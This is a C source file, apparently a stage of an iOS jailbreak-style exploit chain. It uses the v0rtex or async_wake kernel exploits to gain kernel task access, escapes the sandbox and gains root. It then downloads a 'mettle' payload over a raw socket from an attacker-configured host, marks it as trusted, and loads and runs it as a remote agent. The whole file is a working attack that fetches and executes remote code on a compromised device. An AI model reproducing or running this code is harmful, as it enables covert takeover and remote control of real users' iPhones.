#include #include #include #include #import #import #include #include #include #include #include "magic.h" #include "liboffsetfinder64/getoffsets.h" #include "v0rtex.h" #include "async_wake.h" #include "kernel_utils.h" #include "patchfinder64.h" #include "trustcache.h" #include "sandbox.h" #include "kutils.h" #include "kexecute.h" #include "vnode_utils.h" // Note: NSLog crashes for me on iOS 10 //#define DEBUG 1 #ifdef DEBUG #define SLOG(msg, ...) \ do { \ if (getuid() == 0) { \ FILE* logfile = fopen("/var/mobile/log.txt", "a");\ fprintf(logfile,msg, __VA_ARGS__); \ fclose(logfile); \ } \ } while (0) //#define LOG(msg) \ //NSLog(@msg); \ //fprintf(stderr, msg); \ //fflush(stderr); #else #define SLOG(msg, ...) {} #endif int download_payload(char* file_path, const char* config_placeholder) { unlink(file_path); SLOG("%s", "Downloading payload\n"); const char* payload_url = "payload10"; if (kCFCoreFoundationVersionNumber >= 1443.00) { payload_url = "payload11"; } // Load the payload from server int sockfd = 0; struct sockaddr_in serv_addr; char getpayload[100]; snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url); const int chunk_size = 4096; char* payload_buffer = malloc(chunk_size); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { SLOG("%s", "Could not connect socket"); return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder; serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4); SLOG("%s", "Connecting...\n"); if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { SLOG("%s", "Could not connect\n"); return -1; } send(sockfd, getpayload, strlen(getpayload), 0); int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700); int read_header = 0; int n; while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) { if (!read_header) { char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4); write(payloadfd, payload_start, n - (payload_start - payload_buffer)); read_header = 1; } else { write(payloadfd, payload_buffer, n); } } close(payloadfd); close(sockfd); free(payload_buffer); return 0; } void fail(uint64_t x) { *(volatile int*)(0xbad000000000ull + x) = 0xdead; } #define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__) int main() { SLOG("%s", "Starting...\n"); mach_port_t tfp0 = MACH_PORT_NULL; uint64_t kbase = 0; kern_return_t ret = KERN_FAILURE; if (kCFCoreFoundationVersionNumber >= 1443.00) { ret = async_wake(&tfp0); if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) { kbase = find_kernel_base(); SLOG("kbase %p", (void*)kbase); } } else { offsets_t *off = get_offsets(); SLOG("%s", "Got offsets\n"); ret = v0rtex(off, &tfp0, &kbase); } if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0)) { SLOG("%s", "exploit failed\n"); return -1; } else { SLOG("%s", "tfp0!\n"); } SLOG("%s", "init!\n"); init_kernel_utils(tfp0, kbase); InitPatchfinder(kbase, 0); if (kCFCoreFoundationVersionNumber >= 1443.00) { pid_t pid = getpid(); uint64_t sbcreds = unsandbox(pid); rootify(pid); SLOG("uid %d", getuid()); SLOG("creds %p", (void*)sbcreds); } const char config_placeholder[1024] = "PAYLOAD_URL"; char * file_path = "/var/mobile/mettle.dylib"; download_payload(file_path, config_placeholder); SLOG("%s", "did init!\n"); int trustret = trust_bin(file_path); SLOG("trust %d\n", trustret); if (kCFCoreFoundationVersionNumber >= 1443.00) { //fix for: kernel(Sandbox)[0] : Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib init_Kernel_Execute(); fix_vnode_for_mmap(file_path); } void* mettle = dlopen(file_path, RTLD_NOW); if (mettle) { SLOG("%s", "got mettle!\n"); // Launch the payload typedef int (*main_ptr)(int argc, const char *argv[]); main_ptr main_func = dlsym(mettle, "main"); if (main_func) { SLOG("%s", "got main_func!\n"); const char * progname = "mettle"; const char * arg1 = "-u"; const char * arg2 = config_placeholder+6; const char *argv[] = { progname, arg1, arg2, NULL }; int mainret = main_func(3, argv); SLOG("%s", "did run main_func!\n"); } } SLOG("%s", "exit!\n"); exit(0); return 0; } uint64_t entry[] = { MAGIC, (uint64_t)&main };